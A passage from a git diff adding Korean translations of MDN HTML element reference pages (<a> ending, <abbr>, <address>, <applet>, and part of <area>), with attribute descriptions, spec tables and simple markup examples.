+<p>링크와 같은 대화형 요소 다수를 시각적으로 가까이 배치할 땐 서로를 분리하는 공간을 둬야 합니다. 간격은 운동 조절 장애를 가진 사용자가 원하지 않는 상호작용을 하는걸 방지할 수 있습니다.</p>
+
+<p>간격은 {{CSSxRef("margin")}}과 같은 CSS 속성으로 설정할 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://axesslab.com/hand-tremors/">Hand tremors and the giant-button-problem</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Referrer Policy", "#referrer-policy-delivery-referrer-attribute", "referrer attribute")}}</td>
+ <td>{{Spec2("Referrer Policy")}}</td>
+ <td>Added the <code>referrer</code>attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "text-level-semantics.html#the-a-element", "&lt;a&gt;")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "text-level-semantics.html#the-a-element", "&lt;a&gt;")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML4.01", "struct/links.html#h-12.2", "&lt;a&gt;")}}</td>
+ <td>{{Spec2("HTML4.01")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.a")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("link")}}는 <code>&lt;a&gt;</code>와 유사하지만, 사용자에게 노출하지 않는 메타데이터 하이퍼링크를 위한 요소입니다.</li>
+ <li>{{CSSxRef(":link")}}는 유효한 <code>href</code> 특성을 가진 <code>&lt;a&gt;</code> 요소를 선택하는 CSS 의사 클래스입니다.</li>
+</ul>
diff --git a/files/ko/web/html/element/abbr/index.html b/files/ko/web/html/element/abbr/index.html
new file mode 100644
index 0000000000..7deefb3ce3
--- /dev/null
+++ b/files/ko/web/html/element/abbr/index.html
@@ -0,0 +1,194 @@
+---
+title: <abbr>
+slug: Web/HTML/Element/abbr
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/abbr
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;abbr&gt;</code> 요소</strong>는 준말 또는 머리글자를 나타냅니다.</span> 선택 속성인 {{htmlattrxref("title")}}을 사용하면 준말의 전체 뜻이나 설명을 제공할 수 있습니다. <code>title</code> 속성은 전체 설명만을 가져야 하며 다른건 포함할 수 없습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/abbr.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="htmlelt">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠" title="HTML/Content categories#Phrasing content">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠" title="HTML/Content_categories#Phrasing_content">구문 콘텐츠</a></td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠" title="HTML/Content_categories#Phrasing_content">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다. 단, 다른 요소와 달리 <code>&lt;abbr&gt;</code> 요소에서의 {{htmlattrxref("title")}} 특성은 특정한 의미를 가지며, <code>title</code>은 준말에 대한 설명 혹은 확장 형태를 사람이 읽을 수 있는 형태를 값으로 가져야 합니다. 브라우저는 <code>title</code>의 값을 보통 마우스 커서를 올렸을 때 나타나는 툴팁으로 보여줍니다.</p>
+
+<p>각각의 <code>&lt;abbr&gt;</code> 요소는 서로 독립적입니다. 하나의 요소에 <code>title</code>을 제공한다고 나머지에 지정하지 않아도 되는 것은 아닙니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="많이_쓰이는_곳">많이 쓰이는 곳</h3>
+
+<p>당연히 모든 준말을 <code>&lt;abbr&gt;</code>로 표시해야 하는 것은 아닙니다. 그러나 표시할 경우 도움이 될, 다음과 같은 경우가 있습니다.</p>
+
+<ul>
+ <li>사용한 준말과 머리글자를 문서 콘텐츠 플로우 밖에서 풀어서 설명하고 싶으면 적절한 {{htmlattrxref("title")}} 특성을 지정한 <code>&lt;abbr&gt;</code> 요소를 사용하세요.</li>
+ <li>독자에게 익숙하지 않을 수 있는 준말을 사용할 경우 <code>&lt;abbr&gt;</code>과 함께 <code>title</code> 특성이나 인라인 텍스트로 단어에 대한 정의를 제공하세요.</li>
+ <li>준말임을 명시적으로 나타내야 할 경우 <code>&lt;abbr&gt;</code> 요소가 유용합니다. 이를 응용하면 스타일링이나 스크립트 적용에도 사용할 수 있습니다.</li>
+ <li><code>&lt;abbr&gt;</code>을 {{HTMLElement("dfn")}}과 같이 사용하면 준말이나 머리글자를 그 정의와 연결할 수 있습니다. 아래의 {{anch("준말 정의하기")}}을 참고하세요.</li>
+</ul>
+
+<h3 id="문법_고려사항">문법 고려사항</h3>
+
+<p>수량이 문법에 영향을 미치는 언어(one apple vs. two apple<strong>s</strong>)의 경우, <code>&lt;abbr&gt;</code> 요소의 텍스트와 <code>title</code> 특성의 내용이 같은 형태를 따르도록 하세요. 아랍어처럼 두 개 이상의 복수형 구분을 두는 언어에서 특히 중요하나, 영어도 해당합니다.</p>
+
+<h2 id="기본_스타일">기본 스타일</h2>
+
+<p><code>&lt;abbr&gt;</code>의 목적은 오로지 HTML 작성자의 편리함을 위함이며, 모든 브라우저는 기본적으로 인라인({{cssxref('display')}}<code>: inline</code>)으로 렌더링 합니다. 그러나 기본 스타일은 브라우저마다 다를 수 있습니다.</p>
+
+<ul>
+ <li>Internet Explorer 등 일부 브라우저는 {{HTMLElement("span")}} 요소와 동일하게 그립니다.</li>
+ <li>Opera, Firefox 등은 요소에 점선 밑줄을 추가합니다.</li>
+ <li>몇몇은 점선을 추가할 뿐만 아니라, 영어 소문자도 작은 대문자로 표현합니다. 이를 제거하려면 CSS {{cssxref('font-variant')}}를 <code>none</code>으로 설정하세요.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="준말임을_나타내기">준말임을 나타내기</h3>
+
+<p>설명 없이, 단순히 특정 단어가 준말임을 나타내기만 하고자 하면 <code>&lt;abbr&gt;</code>을 다른 특성 없이 사용하세요.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;Using &lt;abbr&gt;HTML&lt;/abbr&gt; is fun and easy!&lt;/p&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("준말임을_나타내기")}}</p>
+
+<h3 id="준말_스타일링">준말 스타일링</h3>
+
+<p>CSS를 사용해 준말에 적용할 사용자 지정 스타일을 적용할 수 있습니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;Using &lt;abbr&gt;CSS&lt;/abbr&gt;, you can style your abbreviations!&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">abbr {
+ font-variant: all-small-caps;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("준말_스타일링")}}</p>
+
+<h3 id="펼친_형태_보여주기">펼친 형태 보여주기</h3>
+
+<p>{{htmlattrxref("title")}} 특성을 사용하면 준말과 머리글자를 펼친 원래 형태를 보여줄 수 있습니다.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;Ashok's joke made me &lt;abbr title="Laugh Out Loud"&gt;LOL&lt;/abbr&gt; big
+time.&lt;/p&gt;</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample("펼친_형태_보여주기")}}</p>
+
+<h3 id="준말_정의하기">준말 정의하기</h3>
+
+<p><code>&lt;abbr&gt;</code>과 {{HTMLElement("dfn")}}을 사용하면 준말을 정식으로 정의할 수 있습니다.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;&lt;dfn id="html"&gt;&lt;abbr title="HyperText Markup Language"&gt;HTML&lt;/abbr&gt;
+&lt;/dfn&gt; is a markup language used to create the semantics and structure
+of a web page.&lt;/p&gt;
+
+&lt;p&gt;A &lt;dfn id="spec"&gt;Specification&lt;/dfn&gt;
+(&lt;abbr title="Specification"&gt;spec&lt;/abbr&gt;) is a document that outlines
+in detail how a technology or API is intended to function and how it is
+accessed.&lt;/p&gt;</pre>
+
+<h4 id="결과_4">결과</h4>
+
+<p>{{EmbedLiveSample("준말_정의하기", 600, 120)}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>준말과 머리글자가 처음 사용될 때, 그 뜻을 풀어 설명하면 독자가 문서를 이해하기 쉬워집니다. 특히 콘텐츠가 기술이나 산업에 관련된 전문적인 내용인 경우 더욱 그렇습니다.</p>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;JavaScript Object Notation(&lt;abbr&gt;JSON&lt;/abbr&gt;)은 경량의 데이터 교환 형식입니다.&lt;/p&gt;
+</pre>
+
+<p>무엇보다 용어나 개념에 익숙하지 않은 사람, 언어를 새로 접한 사람, 그리고 인지력 문제를 겪고 있는 사용자에게 큰 도움이 됩니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-abbr-element', '&lt;abbr&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#edef-ABBR', '&lt;abbr&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.abbr")}}</p>
diff --git a/files/ko/web/html/element/address/index.html b/files/ko/web/html/element/address/index.html
new file mode 100644
index 0000000000..cd43856ceb
--- /dev/null
+++ b/files/ko/web/html/element/address/index.html
@@ -0,0 +1,128 @@
+---
+title: <address>
+slug: Web/HTML/Element/address
+tags:
+ - Element
+ - HTML
+ - HTML sections
+ - 'HTML:Flow content'
+ - 'HTML:Palpable Content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/address
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;address&gt;</code> 요소</strong>는 가까운 HTML 요소의 사람, 단체, 조직 등에 대한 연락처 정보를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/address.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p><code>&lt;address&gt;</code> 요소의 콘텐츠가 제공하는 연락처 정보는 현재 맥락에 적절한 아무 형태나 취할 수 있으며, 물리적 주소, URL, 이메일 주소, 전화번호, SNS 식별자, 좌표 등 어떠한 정보라도 포함할 수 있습니다. 반드시 포함해야 하는 정보는 연락처가 가리키는 개인, 조직, 단체의 이름입니다.</p>
+
+<p><code>&lt;address&gt;</code>는 다양한 맥락에서 사용할 수 있습니다. 사업체 연락 방법을 페이지 헤더에 배치할 때도 쓸 수 있고, {{HTMLElement("article")}} 내부에 배치해서 글의 작성자를 나타낼 수도 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>. 단, 다음의 요소는 사용할 수 없습니다.<br>
+ 다른 <code>&lt;address&gt;</code>, 제목 콘텐츠 ({{HTMLElement("hgroup")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}), 구획 콘텐츠 ({{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}), {{HTMLElement("header")}}, {{HTMLElement("footer")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소. 단, <code>&lt;address&gt;</code> 요소 제외.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>기존 명세에서의 <code>&lt;address&gt;</code> 요소는 문서 작성자의 연락처만 나타내는 요소였습니다. 그러나 최신 명세에서 임의의 연락처를 포함할 수 있도록 수정됐습니다.</li>
+ <li>연락처 외의 정보(출판일 등)를 담아서는 안됩니다.</li>
+ <li>보통, 현재 구획에 {{htmlelement("footer")}} 요소가 존재하면 <code>&lt;address&gt;</code>를 그 안에 배치할 수 있습니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <code>&lt;address&gt;</code>를 사용해 글 작성자의 연락처를 구별하는 모습을 보입니다.</p>
+
+<pre class="brush: html notranslate">&lt;address&gt;
+ You can contact author at &lt;a href="http://www.somedomain.com/contact"&gt;
+ www.somedomain.com&lt;/a&gt;.&lt;br&gt;
+ If you see any bugs, please &lt;a href="mailto:webmaster@somedomain.com"&gt;
+ contact webmaster&lt;/a&gt;.&lt;br&gt;
+ You may also want to visit us:&lt;br&gt;
+ Mozilla Foundation&lt;br&gt;
+ 331 E Evelyn Ave&lt;br&gt;
+ Mountain View, CA 94041&lt;br&gt;
+ USA
+&lt;/address&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "300", "200")}}</p>
+
+<p>비록 겉보기는 {{HTMLElement("i")}}나 {{HTMLElement("em")}} 요소와 같지만, <code>&lt;address&gt;</code> 요소는 자체적인 의미를 갖고 있으므로 연락처 표기에는 <code>&lt;address&gt;</code>가 더 적합합니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'sections.html#the-address-element', '&lt;address&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-address-element', '&lt;address&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.6', '&lt;address&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.address")}}</p>
diff --git a/files/ko/web/html/element/applet/index.html b/files/ko/web/html/element/applet/index.html
new file mode 100644
index 0000000000..274b0635db
--- /dev/null
+++ b/files/ko/web/html/element/applet/index.html
@@ -0,0 +1,115 @@
+---
+title: <applet>
+slug: Web/HTML/Element/applet
+translation_of: Web/HTML/Element/applet
+---
+<div>{{obsolete_header}}</div>
+
+<h2 id="개요">개요</h2>
+
+<p>HTML의 Applet 태그 (<code>&lt;applet&gt;</code>) 는 자바 애플릿을 보이게 하는 곳에 쓰입니다.</p>
+
+<div class="note">
+<p><strong>사용시 참고: </strong>This element has been removed in HTML5 and shouldn't be used anymore. Instead web developers should use the more generic {{HTMLElement("object")}} element.</p>
+</div>
+
+<h2 id="Attributes" name="Attributes">Attributes</h2>
+
+<dl>
+ <dt>{{htmlattrdef("align")}}</dt>
+ <dd>This attribute is used to position the applet on the page relative to content that might flow around it. The HTML 4.01 specification defines values of bottom, left, middle, right, and top, whereas Microsoft and Netscape also might support <strong>absbottom</strong>, <strong>absmiddle</strong>, <strong>baseline</strong>, <strong>center</strong>, and <strong>texttop</strong>.</dd>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>This attribute causes a descriptive text alternate to be displayed on browsers that do not support Java. Page designers should also remember that content enclosed within the <code>&lt;applet&gt;</code> element may also be rendered as alternative text.</dd>
+ <dt>{{htmlattrdef("archive")}}</dt>
+ <dd>This attribute refers to an archived or compressed version of the applet and its associated class files, which might help reduce download time.</dd>
+ <dt>{{htmlattrdef("code")}}</dt>
+ <dd>This attribute specifies the URL of the applet's class file to be loaded and executed. Applet filenames are identified by a .class filename extension. The URL specified by code might be relative to the <code>codebase</code> attribute.</dd>
+ <dt>{{htmlattrdef("codebase")}}</dt>
+ <dd>This attribute gives the absolute or relative URL of the directory where applets' .class files referenced by the code attribute are stored.</dd>
+ <dt>{{htmlattrdef("datafld")}}</dt>
+ <dd>This attribute, supported by Internet Explorer 4 and higher, specifies the column name from the data source object that supplies the bound data. This attribute might be used to specify the various {{HTMLElement("param")}} elements passed to the Java applet.</dd>
+ <dt>{{htmlattrdef("datasrc")}}</dt>
+ <dd>Like <code>datafld</code>, this attribute is used for data binding under Internet Explorer 4. It indicates the id of the data source object that supplies the data that is bound to the {{HTMLElement("param")}} elements associated with the applet.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>This attribute specifies the height, in pixels, that the applet needs.</dd>
+ <dt>{{htmlattrdef("hspace")}}</dt>
+ <dd>This attribute specifies additional horizontal space, in pixels, to be reserved on either side of the applet.</dd>
+ <dt>{{htmlattrdef("mayscript")}}</dt>
+ <dd>In the Netscape implementation, this attribute allows access to an applet by programs in a scripting language embedded in the document.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>This attribute assigns a name to the applet so that it can be identified by other resources; particularly scripts.</dd>
+ <dt>{{htmlattrdef("object")}}</dt>
+ <dd>This attribute specifies the URL of a serialized representation of an applet.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>As defined for Internet Explorer 4 and higher, this attribute specifies a URL for an associated file for the applet. The meaning and use is unclear and not part of the HTML standard.</dd>
+ <dt>{{htmlattrdef("vspace")}}</dt>
+ <dd>This attribute specifies additional vertical space, in pixels, to be reserved above and below the applet.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>This attribute specifies in pixels the width that the applet needs.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;applet code="game.class" align="left" archive="game.zip" height="250" width="350"&gt;
+ &lt;param name="difficulty" value="easy"&gt;
+ &lt;b&gt;죄송합니다. 이 게임을 플레이하려면 자바가 설치되어 있어야 합니다.&lt;/b&gt;
+&lt;/applet&gt;
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mini</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notes">Notes</h2>
+
+<p>The W3C specification does not encourage the use of <code>&lt;applet&gt;</code> and prefers the use of the {{HTMLElement("object")}} tag. Under the strict definition of HTML 4.01, this element is deprecated and entirely obsolete in HTML5.</p>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ko/web/html/element/area/index.html b/files/ko/web/html/element/area/index.html
new file mode 100644
index 0000000000..4c3f6d93a7
--- /dev/null
+++ b/files/ko/web/html/element/area/index.html
@@ -0,0 +1,184 @@
+---
+title: <area>
+slug: Web/HTML/Element/area
+tags:
+ - Element
+ - HTML
+ - HTML embedded content
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/area
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;area&gt;</code> 요소</strong>는 이미지의 핫스팟 영역을 정의하고 {{glossary("hyperlink", "하이퍼링크")}}를 추가할 수 있습니다. {{htmlelement("map")}} 요소 안에서만 사용할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/area.html", "tabbed-taller")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 존재해야 하며 닫는 태그는 존재해선 안됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소. 단, 조상 중 {{htmlelement("map")}} 요소가 존재해야 합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td>{{htmlattrxref("href", "area")}} 특성이 존재하면 {{ariarole("link")}}, 그 외의 경우 <a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLAreaElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>이미지를 출력하지 않는 브라우저에서 대신 표시할 대안 텍스트입니다. 텍스트의 내용은 대안 텍스트 없이 이미지만 표시할 때와 동일한 수준의 선택지를 나타낼 수 있어야 합니다. {{htmlattrxref("href", "area")}} 특성이 존재할 경우 필수 사항입니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("coords")}}</dt>
+ <dd>핫스팟 영역을 지정하는 일련의 좌표입니다. 값의 수와 의미는 <code>shape</code> 특성의 값에 따라 달라집니다.</dd>
+ <dd>
+ <ul>
+ <li><code>rect</code>: 좌상단과 우하단을 나타내는 두 개의 x, y 쌍입니다.</li>
+ <li><code>circle</code>: <code>x,y,r</code>로서 <code>x,y</code>는 원의 중심 좌표이며 <code>r</code>은 반지름입니다.</li>
+ <li><code>poly</code>: 다각형의 꼭지점을 나타내는 다수의 x, y 쌍(<code>x1,y1,x2,y2,x3,y3,...</code>)입니다.</li>
+ </ul>
+ 값의 단위는 CSS 픽셀입니다.</dd>
+ <dt>{{htmlattrdef("download")}}</dt>
+ <dd>특성이 존재할 경우, 이 하이퍼링크는 리소스 다운로드 용도로 사용하는 것을 의도했음을 나타냅니다. {{htmlelement("a")}}의 {{htmlattrxref("download", "a")}} 특성 설명에서 전체 설명을 볼 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd><code>&lt;area&gt;</code> 하이퍼링크의 대상입니다. 유효한 URL이야 합니다. 생략할 경우, 이 <code>&lt;area&gt;</code> 요소는 하이퍼링크를 나타내지 않습니다.</dd>
+ <dt>{{htmlattrdef("hreflang")}}</dt>
+ <dd>연결한 리소스의 언어를 나타냅니다. 가능한 값은 <a class="external external-icon" href="https://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages">BCP47</a>에 따릅니다. {{htmlattrxref("href", "area")}} 특성이 존재할 때만 사용하세요.</dd>
+ <dt>{{htmlattrdef("ping")}}</dt>
+ <dd>하이퍼링크를 따라갈 때, 백그라운드에서 브라우저가 {{HTTPMethod("POST")}} 요청을 본문 <code>PING</code>으로 전송할 URL의 목록입니다. 공백으로 구분하며 주로 추적용으로 사용합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>A string indicating which referrer to use when fetching the resource:
+ <ul>
+ <li><code>"no-referrer"</code> meaning that the <code>Referer:</code> header will not be sent.</li>
+ <li>"<code>no-referrer-when-downgrade</code>" meaning that no <code>Referer:</code> header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent’s default behavior, if no policy is otherwise specified.</li>
+ <li><code>"origin"</code> meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port.</li>
+ <li>"origin-when-cross-origin" meaning that navigations to other origins will be limited to the scheme, the host and the port, while navigations on the same origin will include the referrer's path.</li>
+ <li><code>"unsafe-url"</code> meaning that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
+ <dd>For anchors containing the <strong>href</strong> attribute, this attribute specifies the relationship of the target object to the link object. The value is a comma-separated list of <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types">link types values</a>. The values and their semantics will be registered by some authority that might have meaning to the document author. The default relationship, if no other is given, is void. Use this attribute only if the <strong>href</strong> attribute is present.</dd>
+ <dt>{{htmlattrdef("shape")}}</dt>
